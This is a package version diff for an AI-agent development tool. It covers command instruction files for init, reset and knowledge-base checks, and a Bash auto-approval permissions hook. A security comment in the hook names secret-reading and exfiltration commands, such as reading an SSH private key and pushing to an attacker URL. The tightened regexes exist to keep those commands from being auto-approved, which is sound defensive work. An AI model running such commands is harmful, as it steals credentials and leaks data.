@entelligentsia/forgecli 1.0.36 → 1.0.40

package/dist/forge-payload/commands/check-agent.md

@@ -1,38 +1,22 @@
 ---
 name: check-agent
-description: Verify an agent has loaded and understood the project knowledge base — run a short factual quiz before starting high-stakes tasks
+description: Verify an agent has loaded and understood the project knowledge base
 ---
 
 # /forge:check-agent
 
-Verify that the active agent has correctly read and understood this project's
-knowledge base before beginning a high-stakes task (schema changes, migrations,
-release engineering, significant refactors).
+Read the check-agent workflow and follow it.
 
-## Locate plugin root
+## Locate the Forge plugin
 
 ```
 FORGE_ROOT: !`echo "${CLAUDE_PLUGIN_ROOT:-$(pwd)/.forge}"`
 ```
 
-## Arguments
-
-$ARGUMENTS
-
-## How to Run
-
-Read `.forge/workflows/quiz_agent.md` and follow it exactly.
+## Execute
 
-Pass `$ARGUMENTS` to the workflow so the agent can include task context in its
-responses if provided.
+Read `.forge/workflows/quiz_agent.md` and follow it.
 
-## On error
-
-If `.forge/workflows/quiz_agent.md` does not exist, tell the user:
-
-> △ The quiz_agent workflow is missing. Run `/forge:rebuild workflows` to
-> regenerate it, then retry.
-
-If any other step fails unexpectedly, describe what went wrong and ask:
+## Arguments
 
-> "This looks like a Forge bug. Would you like to file a report to help improve it? Run `/forge:report-bug` — I'll pre-fill the report from this conversation."
+$ARGUMENTS

package/dist/forge-payload/commands/enhance.md

@@ -1,11 +1,37 @@
 ---
 name: enhance
-description: REMOVED in v1.0 — use /forge:rebuild --enrich instead
+description: Progressive project-specific enrichment of structural elements
 ---
 
-# /forge:enhance — Removed
+# /forge:enhance
 
-× `/forge:enhance` was removed in v1.0. Enhancement is now a flag on `/forge:rebuild`:
+Run the enhancement agent to enrich structural elements with project-specific knowledge.
 
-- `/forge:rebuild --enrich` — runs the full enhancement workflow (Phase 2 KB enrichment + Phase 3 drift detection)
-- Enhancement hooks (post-init `--auto`, post-sprint `--phase 2`) continue to fire automatically — no action needed
+## Locate the Forge plugin
+
+```
+FORGE_ROOT: !`echo "${CLAUDE_PLUGIN_ROOT:-$(pwd)/.forge}"`
+```
+
+## Purpose
+
+The enhancement agent observes the project and enriches structural elements
+over time. It makes absolutely essential minimal modifications, preferring
+runtime mix-in (KB references, `{{placeholder}}` substitution, `project-context.json`)
+over modifying base artifacts.
+
+## Behavior
+
+1. Read `structure-versions.json` to determine current overlay level
+2. Read `project-context.json` for current project specifics
+3. Read KB changes since last enhancement
+4. Scan codebase for patterns discovered since last enhancement
+5. Compare current `.forge/` artifacts against base-pack baseline
+6. For each artifact, determine what project-specific enrichment is warranted
+7. Apply the minimal modification principle
+8. Propose diffs (Phase 2+) or auto-apply (Phase 1)
+9. Create new overlay version in `structure-versions.json` if needed
+
+## Arguments
+
+$ARGUMENTS

package/dist/forge-payload/commands/init.md

@@ -1,26 +1,17 @@
 ---
 name: init
-description: Use when the current project has no Forge SDLC instance and you need to bootstrap one from scratch. Use --migrate to migrate an existing store to Forge format (replaces the removed /forge:migrate command).
+description: Bootstrap Forge's LLM half — KB discovery, config generation, and artifact registration. Run once after `4ge init claude .` has scaffolded the project structure.
 ---
 
 # /forge:init
 
-You are the Forge init orchestrator. Your job is to generate a complete, project-specific
-AI software development lifecycle for the codebase in the current working directory.
+You are the Forge init orchestrator. Your job is to run the LLM half of the
+Forge bootstrap — knowledge-base discovery, config generation, and artifact
+registration — in the current working directory. The CLI half (`4ge init claude .`)
+has already scaffolded the project structure, installed the wfl-init.js driver,
+and installed this command wrapper.
 
-## Locate the Forge plugin
-
-Set `$FORGE_ROOT` to the plugin root provided by Claude Code:
-
-```
-FORGE_ROOT: !`echo "${CLAUDE_PLUGIN_ROOT:-$(pwd)/.forge}"`
-```
-
-`$FORGE_ROOT` is the directory containing `meta/`, `init/`, `hooks/`, and `commands/`.
-
-## Execute
-
-### Resume Detection
+## Resume Detection
 
 Before showing the pre-flight plan, check for an existing checkpoint:
 
@@ -36,7 +27,8 @@ If the file exists and contains valid JSON, inspect it:
   ```sh
   rm -f .forge/init-progress.json
   ```
-  Then proceed to the **Pre-flight Plan** (new 4-phase flow, no mode prompt).
+  Then proceed to the **Pre-flight interactive prompts** (new 4-phase flow, no mode prompt).
+  Set `startPhase = 1`.
 
 - If the file contains valid JSON with `lastPhase` in range 1–4 and a `timestamp`
   field, emit the resume banner:
@@ -55,124 +47,117 @@ Use the following mapping:
 | 2         | Phase 3                 |
 | 3         | Phase 4                 |
 
-If the user chooses to resume: jump to the mapped resume phase.
-
+If the user chooses to resume: set `startPhase = nextPhase`.
 If the user chooses to start over: delete `.forge/init-progress.json`
-(`rm -f .forge/init-progress.json`) and proceed to the **Pre-flight Plan**.
+(`rm -f .forge/init-progress.json`) and set `startPhase = 1`.
 
 If the file does not exist, or contains invalid JSON, or contains an
 unrecognised `lastPhase` value outside 1–4: delete any corrupt file and
-proceed to the **Pre-flight Plan**.
+set `startPhase = 1`.
 
 If parsing the file throws (malformed JSON): log a one-line warning
 `△ init-progress.json is malformed — deleting and starting fresh.`, delete
-the file, and proceed to the **Pre-flight Plan**.
+the file, and set `startPhase = 1`.
 
-### Hero
+## Hero
 
 Render the Forge hero block once per session:
 
 ```sh
-node "$FORGE_ROOT/tools/banners.cjs" forge
-node "$FORGE_ROOT/tools/banners.cjs" --subtitle "AI SDLC bootstrapper · forge:init v$(node -p "require('$FORGE_ROOT/.claude-plugin/plugin.json').version")"
+node .forge/tools/banners.cjs forge
+node .forge/tools/banners.cjs --subtitle "AI SDLC bootstrapper · forge:init"
 ```
 
 The hero runs once. If the user resumes mid-init, do NOT re-render the hero —
 just emit the phase banner for the resume target phase.
 
-### Flag handling
+## Flag Handling
 
 `--fast` and `--full` are accepted as no-ops for backwards compatibility with
-scripts and CI pipelines. Both flags proceed with the standard 4-phase base-pack
-init. The fast/full distinction was removed in v0.40.0.
-
-**`--migrate` flag:** When `$ARGUMENTS` contains `--migrate`, run the store migration
-workflow instead of the standard init. This is the v1.0 replacement for the removed
-`/forge:migrate` command.
+scripts and CI pipelines. Both flags proceed with the standard 4-phase flow.
 
-1. Check that `.forge/config.json` exists. If it does not, stop and tell the user:
-   > "Forge has not been initialised in this project. Run `/forge:init` first, then come back to `/forge:init --migrate`."
+**`--migrate` flag:** When `$ARGUMENTS` contains `--migrate`, redirect to the
+store migration workflow. Read `.forge/config.json` to locate `paths.forgeRoot`,
+then read `{forgeRoot}/meta/workflows/meta-migrate.md` and follow it.
+Do NOT proceed to the pre-flight prompts when `--migrate` is present.
 
-2. Check for `--structural` sub-flag in `$ARGUMENTS`:
-   - If present, load and run the structural migration workflow:
-     Read `"$FORGE_ROOT/meta/workflows/meta-migrate.md"` and follow it.
-   - If absent, run the standard store schema migration (Steps 1–7 of the former `migrate.md`):
-     Read `"$FORGE_ROOT/meta/workflows/meta-migrate.md"` and follow it, passing
-     `--store-schema` so it runs the schema migration path (Steps 2–7).
+## Pre-flight Interactive Prompts
 
-3. If `--dry-run` is also present, pass it through so the migration runs Steps 1–4
-   only (no writes).
+Gather these values before dispatching the workflow:
 
-4. Do NOT proceed to the Pre-flight Plan when `--migrate` is present.
+### a. KB Folder Prompt
 
-**Proceed directly to Pre-flight Plan** for all other invocations. There is no interactive mode prompt —
-the 4-phase flow is the only flow.
+```
+What should your engineering knowledge base folder be named?
+  Default: engineering
+  (This is where Forge writes sprint artifacts, docs, and KB files.)
 
-### Pre-flight Plan
+KB folder name [engineering]: ___
+```
 
-Before executing Phase 1, emit a summary block and wait for the user to confirm
-or specify a start phase.
+If the user provides a custom name (non-empty, not "engineering"), write it now:
 
+```sh
+node .forge/tools/manage-config.cjs set paths.engineering "{name}"
 ```
-## Forge Init — <project-name if discoverable, otherwise current directory name>
 
-4 phases will run in this session (~45 seconds non-interactive):
+Set `kbFolder` to the chosen name (default: `"engineering"`).
 
-  1   Collect      — 5 parallel discovery scans → config.json
-                     KB folder prompt (interactive)
-  2   Discover     — KB doc generation (LLM fan-out) + project-context.json
-  3   Materialize  — substitute-placeholders.cjs → fully functional workflows
-  4   Register     — versioning, manifest, cache, store entries, Tomoshibi
+### b. CLAUDE.md Offer
 
-Phase 1 is interactive (KB folder name prompt). Phases 2–4 are non-interactive
-and complete in under 45 seconds.
+Check whether any agent instruction file exists:
 
-Start from Phase 1? [Y] or specify phase (1–4): ___
+```sh
+ls CLAUDE.md AGENTS.md CLAUDE.local.md .cursorrules 2>/dev/null
 ```
 
-If the user specifies a valid phase (1–4), jump there directly.
-Any other input (including 0, 5+, or non-numeric text) re-prompts with the same table.
+If NONE of those files exists, ask:
 
-If a `$ARGUMENTS` phase number is provided (e.g. `3`), skip the pre-flight
-table and go straight to the specified phase.
+```
+No CLAUDE.md / AGENTS.md found in this project.
+Create a minimal CLAUDE.md with Forge KB links? [Y/n]: ___
+```
 
-Before dispatching, gather the following values interactively:
+Set `createClaudeMd = true` if user answers Y (or presses Enter); `false` otherwise.
+If any of those files already exists, set `createClaudeMd = false` (silently skip the offer).
 
-**KB Folder Prompt:**
+### c. Timestamp
 
-```
-What should your engineering knowledge base folder be named?
-  Default: engineering
+Mint the ISO timestamp now (before workflow dispatch, in this command wrapper context):
 
-KB folder name [engineering]: ___
+```js
+isoTimestamp = new Date().toISOString()
 ```
 
-If the user provides a custom name, write it:
-```sh
-node "$FORGE_ROOT/tools/manage-config.cjs" set paths.engineering "{name}"
-```
-Set `kbFolder` to the chosen name (default: `"engineering"`).
+## Pre-flight Plan
 
-**CLAUDE.md Offer:**
+Before dispatching, emit a summary and wait for confirmation:
 
-```sh
-ls CLAUDE.md AGENTS.md CLAUDE.local.md .cursorrules 2>/dev/null
 ```
+## Forge Init — <project-name if discoverable, otherwise current directory name>
 
-If NONE of those files exist, ask:
-```
-No CLAUDE.md / AGENTS.md found. Create a minimal CLAUDE.md with Forge KB links? [Y/n]: ___
+4 phases will run via the wfl:init workflow:
+
+  1   Collect      — 5 parallel discovery scans → config.json
+                     KB folder prompt already answered above
+  2   Discover     — KB doc generation (LLM fan-out) + project-context.json
+  3   Materialize  — substitute-placeholders.cjs → fully functional workflows
+  4   Register     — versioning, manifest, cache, store entries, Tomoshibi
+
+Starting from Phase {startPhase}.
+
+Proceed? [Y/n]: ___
 ```
-Set `createClaudeMd = true` (default Y) or `false`.
-If any file exists, set `createClaudeMd = false` (skip silently).
 
-**Timestamp:** `isoTimestamp = new Date().toISOString()`
+If the user declines, stop and advise them to run `/forge:init` again when ready.
+
+## Workflow Dispatch
 
 Execute the workflow:
 
 ```
 workflow('wfl:init', {
-  forgeRoot: FORGE_ROOT,
+  forgeRoot,
   kbFolder,
   startPhase,
   createClaudeMd,
@@ -181,34 +166,113 @@ workflow('wfl:init', {
 })
 ```
 
-If the Workflow tool is unavailable, halt immediately with the following message:
+Where `forgeRoot` is resolved from `.forge/config.json`'s `paths.forgeRoot` field.
+
+**Workflow-tool-missing error** — if the Workflow tool is unavailable, halt immediately
+with this message:
 
 > The Workflow tool is required to run `/forge:init`. This Claude Code build does not
 > support the Workflow tool. Upgrade Claude Code and try again.
 >
 > (Alternatively, run `4ge init claude .` again to re-scaffold, then upgrade Claude Code.)
 
-Do NOT fall back to reading `sdlc-init.md` or any other document — Iron Law 5.
+Do NOT fall back to reading any other document — halt with the above message only.
+
+## Post-Workflow (on success)
+
+When `workflow('wfl:init', ...)` returns with `result.ok === true`:
+
+### Closing Banner
+
+```sh
+node .forge/tools/banners.cjs forge
+node .forge/tools/banners.cjs --subtitle "灯 SDLC ready — welcome to your Forge SDLC"
+```
+
+### Welcome Block
+
+Emit the welcome summary:
+
+```
+✓ Forge SDLC initialised
+
+Your project is now configured with:
+  · Knowledge base in {kbFolder}/
+  · Workflows, personas, and skills in .forge/
+  · Sprint-ready store in .forge/store/
+
+Next steps:
+  · /forge:new-sprint — plan your first sprint
+  · /forge:health     — verify store health
+  · /forge:plan       — plan a single task
+```
+
+### Marketplace Skills Offer
+
+If `result.skillMatches` is present and non-empty, present skill buckets by
+confidence (High → Medium → Low). For each bucket, list skill IDs and descriptions.
+Ask: `Install recommended skills? [Y/n]` (per bucket or all at once — your call).
+
+For each skill the user accepts:
+
+```sh
+node .forge/tools/manage-config.cjs set installedSkills.{skillId} true
+```
+
+Track accepted/skipped counts for the final report. **If the user skips the
+entire offer, proceed without blocking.**
+
+### KB Links Refresh
 
-**Post-workflow:** on `result.ok === true`, render closing banners (use `banners.cjs forge`
-and `--subtitle "灯 SDLC ready…"`), emit the welcome block, present the marketplace-skills
-offer from `result.skillMatches` (install accepted skills via `manage-config.cjs set
-installedSkills.{id} true`), invoke `forge:refresh-kb-links` via the Skill tool, and
-print the final report (KB doc count, workflow count, command count, accepted/skipped skills).
+Invoke the `forge:refresh-kb-links` skill via the Skill tool:
+
+```
+Skill('forge:refresh-kb-links')
+```
 
-On `result.ok === false`: surface `result.failure` as formatted JSON and offer
-`/forge:report-bug`.
+If the Skill tool is unavailable or the skill fails, emit:
 
-The current working directory is the target project. All generated artifacts go into
-`.forge/`, the configured KB folder (default: `engineering/`), and `.claude/commands/`
-in the project.
+```
+△ Could not auto-refresh KB links — run /forge:refresh-kb-links manually
+  to wire your CLAUDE.md to your new KB docs.
+```
+
+### Final Report
+
+```
+Forge init complete.
+
+  KB docs generated:   {count from result.kbDocCount or "see .forge/"}
+  Workflows installed: {count from result.workflowCount or "see .forge/workflows/"}
+  Commands installed:  {count from result.commandCount or "see .claude/commands/"}
+  Skills accepted:     {acceptedCount}
+  Skills skipped:      {skippedCount}
+
+Run `/forge:health` to verify the installation.
+```
+
+## Post-Workflow (on failure)
+
+When `workflow('wfl:init', ...)` returns with `result.ok === false`, surface the
+failure as structured JSON and offer a bug report:
+
+```
+✗ Forge init failed.
+
+Failure details:
+{result.failure as formatted JSON}
+
+This looks like a Forge bug. Would you like to file a report?
+Run `/forge:report-bug` — I'll pre-fill the report from this conversation.
+```
 
 ## Arguments
 
 $ARGUMENTS
 
-## On error
+## On Error
 
 If any step above fails unexpectedly, describe what went wrong and ask:
 
-> "This looks like a Forge bug. Would you like to file a report to help improve it? Run `/forge:report-bug` — I'll pre-fill the report from this conversation."
+> "This looks like a Forge bug. Would you like to file a report to help improve it?
+> Run `/forge:report-bug` — I'll pre-fill the report from this conversation."

package/dist/forge-payload/commands/reset.md

@@ -0,0 +1,117 @@
+---
+name: reset
+description: Rewind a halted/blocked task, bug, or sprint to an earlier pipeline phase — a guardrailed, integrity-checked state reset. Use when a pipeline halted and you need to resume from a chosen phase, or to reopen committed work for rework.
+allowed-tools:
+  - Bash
+---
+
+# /forge:reset
+
+Guardrailed, natural-language **pipeline-state reset**. Rewinds a task, bug, or
+sprint to an earlier phase so its pipeline can be resumed — after computing and
+**confirming the cross-entity referential-integrity implications**. This never
+mutates the store until you explicitly confirm the proposed plan.
+
+> Deterministic counterpart: `4ge reset <id> --to <phase>` (forge-cli) does a
+> single-entity task/bug reset without the NLP/integrity layer. This command
+> adds intent parsing, sprint cascades, and the integrity gate.
+
+## Arguments
+
+`$ARGUMENTS` is a free-text request, e.g.:
+- "put FORGE-S32-T03 back to implement"
+- "redo the fix for FORGE-BUG-046 from triage"
+- "reopen sprint FORGE-S32 from task T03"
+
+## Resolve plugin root
+
+```
+FORGE_ROOT: !`node -e "console.log(require('./.forge/config.json').paths.forgeRoot)"`
+```
+
+## Step 1 — Interpret the request
+
+From `$ARGUMENTS`, determine:
+- **entity kind**: `task` (`*-S##-T##`), `bug` (`*-BUG-###`), or `sprint`
+  (`*-S##`). A `-BUG-` segment ⇒ bug.
+- **id**: the canonical record id. If the id is partial or ambiguous, resolve it
+  first with `node "$FORGE_ROOT/tools/store-cli.cjs" query <text>` (or
+  `store-query-nlp`) and pick the unambiguous match; if ambiguous, ask the user.
+- **target phase** (`--to`):
+  - task: `plan | review-plan | implement | review-code | validate | approve | writeback | commit`
+  - bug: `triage | plan-fix | review-plan | implement | review-code | approve | commit`
+  - sprint: requires a **from-task** (the member task to rewind from); the
+    cascade is computed for you.
+
+If the target phase is missing or not valid for the entity kind, ask the user
+rather than guessing.
+
+## Step 2 — Compute the plan + integrity implications (READ-ONLY)
+
+```sh
+# task / bug
+node "$FORGE_ROOT/tools/reset-plan.cjs" --entity <kind> --id <id> --to <phase> --json
+# sprint
+node "$FORGE_ROOT/tools/reset-plan.cjs" --entity sprint --id <sprintId> --from-task <taskId> --json
+```
+
+`reset-plan.cjs` is a **pure planner** — it reads the store and computes the
+transitions + warnings, and writes nothing. Parse its JSON:
+
+- `entity` — kind, id, currentStatus, targetStatus/targetPhase.
+- `rewind` / `forceRequired` — whether this is a backward transition (needs
+  `--force`).
+- `transitions[]` — the exact `{id, kind, from, to}` status changes a confirmed
+  reset would apply (for a sprint: the sprint reopen + each cascade task).
+- `cascade[]` — (sprint) the member task ids that rewind.
+- `warnings[]` — referential-integrity implications, each with a `code`:
+  - `committed-work` — the entity is committed/fixed; **its git commit is NOT
+    reverted** by the reset. The working tree may diverge.
+  - `sprint-incoherent` / `sprint-reopen` — the parent sprint is completed; it
+    must reopen to `active` (sprint resets do this automatically).
+  - `dependents-affected` — other tasks depend on this id and are past planning;
+    they now rest on rewound work and may need re-validation. (`ids` lists them.)
+
+If `reset-plan.cjs` exits non-zero, surface its `error` and stop.
+
+## Step 3 — Present the plan and REQUIRE confirmation
+
+Show the user, in plain language:
+1. The transition(s) that will be applied (`from → to` for each id).
+2. Every warning, especially `committed-work` and `dependents-affected` — these
+   are the referential-integrity risks they are accepting.
+3. The note that this does **not** revert git commits or re-run anything; it
+   only rewinds store status + (for `4ge` users) the resume-state cache.
+
+**Do not proceed without an explicit "yes".** This is a destructive,
+hard-to-reverse store mutation. If the user hesitates, stop.
+
+## Step 4 — Apply (only after confirmation)
+
+Apply each transition in `transitions[]` in order, via store-cli. Backward
+transitions and terminal states (`blocked`, `committed`, `fixed`) require the
+operator-gated force flag:
+
+```sh
+FORGE_ALLOW_FORCE=1 node "$FORGE_ROOT/tools/store-cli.cjs" \
+  update-status <kind> <id> status <to> --force
+```
+
+For a **sprint** reset, apply the sprint reopen first, then each cascade task.
+
+After the status transitions land:
+- Tell the user the reset is complete and how to resume:
+  - task → `/forge:run-task <id>` (or `/forge:implement <id>`)
+  - bug → `/forge:fix-bug <id>`
+  - sprint → `/forge:run-sprint <id>`
+- If they drive Forge through **forge-cli** (`4ge`), the resume-state cache
+  (`.forge/cache/*-state.json`) is rewound by `4ge reset <id> --to <phase>` —
+  the LLM route here only owns the store side. Mention this so a `4ge` user runs
+  `4ge reset` (or deletes the stale cache) before resuming.
+
+## Iron rule
+
+Never apply a transition `reset-plan.cjs` did not propose, and never skip the
+confirmation gate. The planner is the single source of truth for what a reset
+touches; this command's only job is to explain it and, on a clear yes, apply
+exactly that.

package/dist/forge-payload/hooks/forge-permissions.cjs

@@ -41,19 +41,38 @@ const _nodeToolRule = process.env.CLAUDE_PLUGIN_ROOT
   ? `node ${process.env.CLAUDE_PLUGIN_ROOT}/tools/*`
   : 'node ~/.claude/plugins/cache/forge/forge/*/tools/*';
 
+// SECURITY (issue #43 / forge-engineering #42): these patterns auto-approve a
+// Bash command with NO prompt. A non-match falls through to Claude Code's normal
+// permission flow (the human is asked) — it does NOT block. So the rule is:
+// auto-allow ONLY shapes that are unambiguously in-tree Forge workflow steps,
+// and let anything that could read a secret, exfiltrate, or execute foreign code
+// fall through to a prompt. Patterns are anchored to their argument shape, not a
+// bare command prefix, precisely so `cat ~/.ssh/id_rsa`, `cp <secret> /tmp/x`,
+// `gh issue create -R attacker/repo`, `git push https://attacker/…`, and
+// `node /tmp/evil/tools/x.cjs` are NOT auto-approved.
 const BASH_PATTERNS = [
-  // Node tool invocations — covers $FORGE_ROOT/tools/*.cjs and $CLAUDE_PLUGIN_ROOT
+  // Node tool invocations — only when the directory before /tools/ is a trusted
+  // Forge root: $FORGE_ROOT / $CLAUDE_PLUGIN_ROOT, the plugin cache, or a path
+  // ending in /.forge. `node /tmp/evil/tools/x.cjs` does NOT match.
   // (H-5d: rule is dynamically built from CLAUDE_PLUGIN_ROOT when set)
-  { pattern: /^node\s+.*\/tools\/[\w-]+\.(cjs|js)\b/, rule: _nodeToolRule },
+  {
+    pattern:
+      /^node\s+(?:"?\$(?:CLAUDE_PLUGIN_ROOT|FORGE_ROOT)"?|\S*\/\.claude\/plugins\/cache\/forge\/\S*|\S*\/\.forge)\/tools\/[\w-]+\.(?:cjs|js)\b/,
+    rule: _nodeToolRule,
+  },
   // NOTE: node -e and node -p removed — arbitrary code execution must not be auto-approved.
   // Forge workflows use node .../tools/*.cjs for tool invocations; inline node -e/p requires
   // explicit user approval each time.
   // Shell commands used by Forge workflows
   { pattern: /^mkdir\s+-p\s+/, rule: 'mkdir -p .forge/*' },
   { pattern: /^mkdir\s+-p\s+\S+/, rule: 'mkdir -p .forge/*' },
-  { pattern: /^cp\s+/, rule: 'cp */schemas/*.schema.json .forge/schemas/' },
+  // cp only when the destination (last arg) is under .forge/ — copying a secret
+  // out to an arbitrary location is not auto-approved.
+  { pattern: /^cp\s+\S.*\s\.?\/?\.forge\/\S*\s*$/, rule: 'cp */schemas/*.schema.json .forge/schemas/' },
   { pattern: /^ls\s+/, rule: 'ls *' },
-  { pattern: /^cat\s+/, rule: 'cat .forge/*' },
+  // cat only within .forge/ or engineering/ — reading arbitrary files (e.g.
+  // ~/.ssh/id_rsa, /etc/passwd) falls through to a prompt.
+  { pattern: /^cat\s+(?:-\S+\s+)*\.?\/?(?:\.forge|engineering)\//, rule: 'cat .forge/*' },
   { pattern: /^date\s+-u\s+/, rule: 'date -u *' },
   { pattern: /^date\s+/, rule: 'date -u *' },
   { pattern: /^jq\s+/, rule: 'jq *' },
@@ -63,14 +82,18 @@ const BASH_PATTERNS = [
   { pattern: /^rm\s+-rf\s+\.forge/, rule: 'rm -rf .forge/*' },
   { pattern: /^rmdir\s+/, rule: 'rmdir .forge/*' },
   { pattern: /^gh\s+auth\s+/, rule: 'gh auth status *' },
-  { pattern: /^gh\s+issue\s+/, rule: 'gh issue create *' },
+  // gh issue only against the current repo — a -R/--repo pointing at a foreign
+  // repo (cross-repo exfiltration) is not auto-approved.
+  { pattern: /^gh\s+issue\s+(?!.*(?:\s-R\b|\s--repo\b))/, rule: 'gh issue create *' },
   // git read-only commands (already auto-approved by Claude Code, but belt-and-suspenders)
   { pattern: /^git\s+status\b/, rule: 'git status *' },
   { pattern: /^git\s+log\b/, rule: 'git log *' },
   { pattern: /^git\s+diff\b/, rule: 'git diff *' },
   { pattern: /^git\s+add\s+/, rule: 'git add *' },
   { pattern: /^git\s+commit\s+-m\s+/, rule: 'git commit -m *' },
-  { pattern: /^git\s+push\b/, rule: 'git push *' },
+  // git push only to a named remote — pushing to an explicit attacker URL
+  // (http(s)/ssh/git/file) is not auto-approved.
+  { pattern: /^git\s+push\b(?!.*(?:https?:\/\/|git@|ssh:\/\/|file:\/\/))/, rule: 'git push *' },
   { pattern: /^git\s+checkout\s+/, rule: 'git checkout *' },
   { pattern: /^git\s+branch\s+/, rule: 'git branch *' },
   { pattern: /^git\s+stash\b/, rule: 'git stash *' },

package/dist/forge-payload/init/phases/phase-3-materialize.md

@@ -63,13 +63,17 @@ node "$FORGE_ROOT/tools/substitute-placeholders.cjs" \
 ```
 
 Output directories (managed by the tool's `SUBDIR_OUTPUT_MAP`):
-- `base-pack/commands/`     → `.claude/commands/forge/`  (fixed namespace — CLI-first redesign)
 - `base-pack/personas/`     → `.forge/personas/`
 - `base-pack/skills/`       → `.forge/skills/`
 - `base-pack/workflows/`    → `.forge/workflows/`
 - `base-pack/templates/`    → `.forge/templates/`
 - `base-pack/workflows-js/` → `.claude/workflows/` (JS orchestration workflows — FORGE-S28-T01)
 
+> Commands are no longer materialised here. Since FORGE-S32-T06 the unified
+> slash-command tree (`forge/forge/commands/`) is installed verbatim to
+> `.claude/commands/forge/` by the bootstrap manifest's single `commands` entry —
+> base-pack no longer carries a `commands/` subdir.
+
 ### Step 3a — Record generated JS workflows in the generation manifest
 
 After `substitute-placeholders.cjs` writes the JS workflows, record them in the generation